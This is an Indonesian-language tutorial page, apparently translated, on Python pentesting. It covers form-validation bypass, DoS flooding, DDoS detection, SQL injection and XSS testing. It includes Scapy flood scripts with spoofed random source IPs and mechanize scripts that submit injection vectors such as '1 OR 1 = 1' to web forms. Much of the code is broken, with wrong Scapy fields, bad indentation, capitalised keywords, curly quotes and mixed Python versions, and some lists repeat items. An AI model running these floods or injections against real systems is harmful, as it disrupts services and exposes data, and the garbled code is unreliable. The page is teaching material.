Berikut ini adalah skrip Python, yang menggunakan mechanize untuk melewati validasi formulir web menggunakan metode POST untuk meneruskan parameter. Formulir web dapat diambil dari tautanhttps://www.tutorialspoint.com/php/php_validation_example.htm dan dapat digunakan di situs web tiruan apa pun pilihan Anda.

Untuk memulainya, mari kita impor peramban mekanik -

import mechanize

Sekarang, kita akan membuat sebuah objek bernama brwsr dari peramban mekanis -

brwsr = mechanize.Browser()

Baris kode berikutnya menunjukkan bahwa agen pengguna bukanlah robot.

brwsr.set_handle_robots( False )

Sekarang, kita perlu menyediakan url dari situs dummy kita yang berisi formulir web yang kita perlukan untuk melewati validasi.

url = input("Enter URL ")

Sekarang, baris berikut akan menyetel beberapa induk menjadi true.

brwsr.set_handle_equiv(True)
brwsr.set_handle_gzip(True)
brwsr.set_handle_redirect(True)
brwsr.set_handle_referer(True)

Selanjutnya akan membuka halaman web dan mencetak formulir web di halaman tersebut.

brwsr.open(url)
for form in brwsr.forms():
   print form

Baris kode berikutnya akan melewati validasi pada bidang yang diberikan.

brwsr.select_form(nr = 0)
brwsr.form['name'] = ''
brwsr.form['gender'] = ''
brwsr.submit()

Bagian terakhir dari skrip dapat diubah sesuai dengan bidang formulir web tempat kami ingin melewati validasi. Di sini, di skrip di atas, kami telah mengambil dua bidang -‘name’ dan ‘gender’ yang tidak boleh dikosongkan (Anda bisa lihat di pengkodean formulir web) tetapi skrip ini akan melewati validasi itu.

Dalam bab ini, kita akan mempelajari serangan DoS dan DdoS serta memahami cara mendeteksinya.

Dengan boomingnya industri e-commerce, server web sekarang rentan terhadap serangan dan menjadi sasaran empuk para peretas. Peretas biasanya mencoba dua jenis serangan -

  • DoS (Denial-of-Service)
  • DDoS (Distribted Denial of Service)

Serangan DoS (Denial-of-Service)

Serangan Denial of Service (DoS) adalah upaya peretas untuk membuat sumber daya jaringan tidak tersedia. Biasanya mengganggu host, sementara atau tanpa batas waktu, yang terhubung ke Internet. Serangan ini biasanya menargetkan layanan yang dihosting di server web penting seperti bank, gateway pembayaran kartu kredit.

Gejala serangan DoS

  • Performa jaringan yang sangat lambat.

  • Tidak tersedianya situs web tertentu.

  • Ketidakmampuan untuk mengakses situs web mana pun.

  • Peningkatan dramatis dalam jumlah email spam yang diterima.

  • Penolakan akses jangka panjang ke web atau layanan Internet apa pun.

  • Tidak tersedianya situs web tertentu.

Jenis Serangan DoS & Implementasi Python-nya

Serangan DoS dapat diimplementasikan pada tautan data, jaringan atau lapisan aplikasi. Sekarang mari kita belajar tentang berbagai jenis serangan DoS &; implementasinya dengan Python -

Port tunggal IP tunggal

Sejumlah besar paket dikirim ke server web dengan menggunakan IP tunggal dan dari nomor port tunggal. Ini adalah serangan tingkat rendah yang digunakan untuk memeriksa perilaku server web. Implementasinya dengan Python dapat dilakukan dengan bantuan Scapy. Skrip python berikut akan membantu mengimplementasikan serangan DoS port tunggal IP tunggal -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

Setelah dieksekusi, skrip di atas akan menanyakan tiga hal berikut -

  • Alamat IP sumber dan target.

  • Alamat IP nomor port sumber.

  • Ini kemudian akan mengirim sejumlah besar paket ke server untuk memeriksa perilakunya.

Port Ganda IP Tunggal

Sejumlah besar paket dikirim ke server web dengan menggunakan satu IP dan dari beberapa port. Implementasinya dengan Python dapat dilakukan dengan bantuan Scapy. Skrip python berikut akan membantu mengimplementasikan serangan DoS port ganda IP Tunggal -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Beberapa port tunggal IP

Sejumlah besar paket dikirim ke server web dengan menggunakan beberapa IP dan dari nomor port tunggal. Implementasinya dengan Python dapat dilakukan dengan bantuan Scapy. Skrip Python berikut menerapkan serangan DoS beberapa port IP tunggal -

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Beberapa port ganda IP

Sejumlah besar paket dikirim ke server web dengan menggunakan banyak IP dan dari beberapa port. Implementasinya dengan Python dapat dilakukan dengan bantuan Scapy. Skrip Python berikut membantu mengimplementasikan serangan DoS multi port Multiple IP -

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Serangan DDoS (Distributed Denial-of-Service)

Serangan Distributed Denial of Service (DDoS) adalah upaya untuk membuat layanan online atau situs web tidak tersedia dengan membebani dengan banjir besar lalu lintas yang dihasilkan dari berbagai sumber.

Tidak seperti serangan Denial of Service (DoS), di mana satu komputer dan satu koneksi Internet digunakan untuk membanjiri sumber daya yang ditargetkan dengan paket, serangan DDoS menggunakan banyak komputer dan banyak koneksi Internet, sering kali didistribusikan secara global dalam apa yang disebut sebagai botnet . Serangan DDoS volumetrik skala besar dapat menghasilkan lalu lintas yang diukur dalam puluhan Gigabit (dan bahkan ratusan Gigabit) per detik. Dapat dibaca secara detail dihttps://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.

Deteksi DDoS menggunakan Python

Sebenarnya serangan DDoS agak sulit dideteksi karena Anda tidak tahu host yang mengirimkan trafik itu palsu atau asli. Skrip Python yang diberikan di bawah ini akan membantu mendeteksi serangan DDoS.

Untuk memulainya, mari kita impor perpustakaan yang diperlukan -

import socket
import struct

from datetime import datetime

Sekarang, kita akan membuat soket seperti yang telah kita buat di bagian sebelumnya juga.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

Kami akan menggunakan kamus kosong -

dict = {}

Baris kode berikut akan membuka file teks, dengan detail serangan DDoS dalam mode tambahan.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

Dengan bantuan baris kode berikut, waktu saat ini akan ditulis setiap kali program berjalan.

file_txt.writelines(t1)
file_txt.writelines("\n")

Sekarang, kita perlu mengasumsikan klik dari IP tertentu. Di sini kami mengasumsikan bahwa jika IP tertentu mencapai lebih dari 15 kali maka itu akan menjadi serangan.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

Baris kode berikut akan memeriksa apakah IP ada dalam kamus atau tidak. Jika ada maka akan bertambah 1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

Baris kode berikutnya digunakan untuk menghapus redundansi.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

Setelah menjalankan script di atas, kita akan mendapatkan hasilnya berupa file teks. Menurut skrip, jika IP mencapai lebih dari 15 kali maka itu akan dicetak karena serangan DDoS terdeteksi bersama dengan alamat IP itu.

Injeksi SQL adalah sekumpulan perintah SQL yang ditempatkan dalam string URL atau dalam struktur data untuk mengambil respons yang kita inginkan dari database yang terhubung dengan aplikasi web. Jenis serangan ini umumnya terjadi di halaman web yang dikembangkan menggunakan PHP atau ASP.NET.

Serangan injeksi SQL dapat dilakukan dengan maksud berikut -

  • Untuk mengubah konten database

  • Untuk mengubah konten database

  • Untuk melakukan kueri berbeda yang tidak diizinkan oleh aplikasi

Jenis serangan ini bekerja ketika aplikasi tidak memvalidasi input dengan benar, sebelum meneruskannya ke pernyataan SQL. Injeksi biasanya ditempatkan di bilah alamat, bidang pencarian, atau bidang data.

Cara termudah untuk mendeteksi apakah aplikasi web rentan terhadap serangan injeksi SQL adalah dengan menggunakan karakter "'" dalam string dan melihat apakah Anda mendapatkan kesalahan.

Jenis Serangan SQLi

Di bagian ini, kita akan belajar tentang berbagai jenis serangan SQLi. Serangan tersebut dapat dikategorikan menjadi dua jenis berikut -

  • Injeksi SQL dalam band (SQLi Sederhana)

  • Injeksi SQL Inferensial (Blind SQLi)

Injeksi SQL dalam band (SQLi Sederhana)

Ini adalah injeksi SQL yang paling umum. Jenis injeksi SQL ini terutama terjadi ketika penyerang dapat menggunakan saluran komunikasi yang sama untuk meluncurkan serangan & mengumpulkan hasil. Injeksi SQL dalam band selanjutnya dibagi menjadi dua jenis -

  • Error-based SQL injection - Teknik injeksi SQL berbasis kesalahan bergantung pada pesan kesalahan yang dilemparkan oleh server database untuk memperoleh informasi tentang struktur database.

  • Union-based SQL injection - Ini adalah teknik injeksi SQL in-band lain yang memanfaatkan operator UNION SQL untuk menggabungkan hasil dari dua atau lebih pernyataan SELECT menjadi satu hasil, yang kemudian dikembalikan sebagai bagian dari respons HTTP.

Injeksi SQL Inferensial (Blind SQLi)

Dalam serangan injeksi SQL semacam ini, penyerang tidak dapat melihat hasil serangan dalam band karena tidak ada data yang ditransfer melalui aplikasi web. Inilah alasan mengapa disebut juga Blind SQLi. Injeksi SQL Inferensial terdiri dari dua jenis -

  • Boolean-based blind SQLi - Jenis teknik ini mengandalkan pengiriman kueri SQL ke database, yang memaksa aplikasi mengembalikan hasil yang berbeda bergantung pada apakah kueri mengembalikan hasil yang BENAR atau SALAH.

  • Time-based blind SQLi- Jenis teknik ini bergantung pada pengiriman kueri SQL ke database, yang memaksa database untuk menunggu selama waktu tertentu (dalam detik) sebelum merespons. Waktu respons akan menunjukkan kepada penyerang apakah hasil kueri BENAR atau SALAH.

Contoh

Semua jenis SQLi dapat diimplementasikan dengan memanipulasi data masukan ke aplikasi. Dalam contoh berikut, kami menulis skrip Python untuk memasukkan vektor serangan ke aplikasi dan menganalisis keluaran untuk memverifikasi kemungkinan serangan. Di sini, kita akan menggunakan modul python bernamamechanize, yang memberikan fasilitas untuk mendapatkan formulir web di halaman web dan memfasilitasi pengiriman nilai input juga. Kami juga telah menggunakan modul ini untuk validasi sisi klien.

Skrip Python berikut membantu mengirimkan formulir dan menganalisis respons menggunakan mechanize -

Pertama-tama kita perlu mengimpor file mechanize modul.

import mechanize

Sekarang, berikan nama URL untuk mendapatkan respon setelah mengirimkan formulir.

url = input("Enter the full url")

Baris kode berikut akan membuka url.

request = mechanize.Browser()
request.open(url)

Sekarang, kita perlu memilih formulir.

request.select_form(nr = 0)

Di sini, kami akan mengatur nama kolom 'id'.

request["id"] = "1 OR 1 = 1"

Sekarang, kami perlu mengirimkan formulir.

response = request.submit()
content = response.read()
print content

Skrip di atas akan mencetak respons untuk permintaan POST. Kami telah mengirimkan vektor serangan untuk memecahkan kueri SQL dan mencetak semua data dalam tabel, bukan satu baris. Semua vektor serangan akan disimpan dalam file teks katakanlah vector.txt. Sekarang, skrip Python yang diberikan di bawah ini akan mengambil vektor serangan tersebut dari file dan mengirimkannya ke server satu per satu. Ini juga akan menyimpan output ke file.

Untuk memulainya, mari kita impor modul mekanisasi.

import mechanize

Sekarang, berikan nama URL untuk mendapatkan respon setelah mengirimkan formulir.

url = input("Enter the full url")
   attack_no = 1

Kita perlu membaca vektor serangan dari file.

With open (‘vectors.txt’) as v:

Sekarang kami akan mengirim permintaan dengan setiap vektor arrack

For line in v:
   browser.open(url)
   browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

Sekarang, baris kode berikut akan menulis respons ke file output.

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

Dengan memeriksa dan menganalisis tanggapan, kami dapat mengidentifikasi kemungkinan serangan. Misalnya, jika memberikan respons yang menyertakan kalimatYou have an error in your SQL syntax maka itu berarti formulir mungkin terpengaruh oleh injeksi SQL.

Serangan skrip lintas situs adalah jenis injeksi yang juga merujuk pada serangan injeksi kode sisi klien. Di sini, kode berbahaya disuntikkan ke situs web yang sah. Konsep Same Origin Policy (SOP) sangat berguna dalam memahami konsep Cross-site scripting. SOP adalah prinsip keamanan terpenting di setiap browser web. Ini melarang situs web mengambil konten dari halaman dengan asal lain. Misalnya, halaman web www.tutorialspoint.com/index.html dapat mengakses konten dariwww.tutorialspoint.com/contact.htmltetapi www.virus.com/index.html tidak dapat mengakses konten dariwww.tutorialspoint.com/contact.html. Dengan cara ini, kami dapat mengatakan bahwa skrip lintas situs adalah cara melewati kebijakan keamanan SOP.

Jenis Serangan XSS

Di bagian ini, mari kita pelajari tentang berbagai jenis serangan XSS. Serangan tersebut dapat diklasifikasikan ke dalam kategori utama berikut -

  • XSS yang persisten atau disimpan
  • XSS non-persisten atau tercermin

XSS yang persisten atau disimpan

Dalam serangan XSS semacam ini, penyerang menyuntikkan skrip, disebut sebagai muatan, yang disimpan secara permanen di aplikasi web target, misalnya dalam database. Inilah alasannya, ini disebut serangan XSS persisten. Ini sebenarnya adalah jenis serangan XSS yang paling merusak. Misalnya, kode berbahaya disisipkan oleh penyerang di kolom komentar di blog atau di postingan forum.

XSS non-persisten atau tercermin

Ini adalah jenis serangan XSS yang paling umum di mana muatan penyerang harus menjadi bagian dari permintaan, yang dikirim ke server web dan direfleksikan, kembali sedemikian rupa sehingga tanggapan HTTP menyertakan muatan dari permintaan HTTP. Ini adalah serangan yang tidak terus-menerus karena penyerang perlu mengirimkan muatan ke setiap korban. Contoh paling umum dari jenis serangan XSS adalah email phishing dengan bantuan penyerang menarik korban untuk membuat permintaan ke server yang berisi muatan XSS dan akhirnya mengeksekusi skrip yang direfleksikan dan dieksekusi di dalam browser .

Contoh

Sama seperti SQLi, serangan web XSS dapat diimplementasikan dengan memanipulasi data masukan ke aplikasi. Dalam contoh berikut, kami memodifikasi vektor serangan SQLi, yang dilakukan di bagian sebelumnya, untuk menguji serangan web XSS. Skrip Python yang diberikan di bawah ini membantu menganalisis serangan XSS menggunakanmechanize -

Untuk memulai, mari kita impor mechanize modul.

import mechanize

Sekarang, berikan nama URL untuk mendapatkan respon setelah mengirimkan formulir.

url = input("Enter the full url")
   attack_no = 1

Kita perlu membaca vektor serangan dari file.

With open (‘vectors_XSS.txt’) as x:

Sekarang kami akan mengirim permintaan dengan setiap vektor arrack -

For line in x:
   browser.open(url)
browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

Baris kode berikut akan memeriksa vektor serangan yang dicetak.

if content.find(line) > 0:
print(“Possible XSS”)

Baris kode berikut akan menulis respon ke file output.

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

XSS terjadi ketika input pengguna mencetak respons tanpa validasi apa pun. Oleh karena itu, untuk memeriksa kemungkinan serangan XSS, kami dapat memeriksa teks respons untuk vektor serangan yang kami sediakan. Jika vektor serangan hadir dalam respons tanpa jalan keluar atau validasi apa pun, ada kemungkinan besar serangan XSS.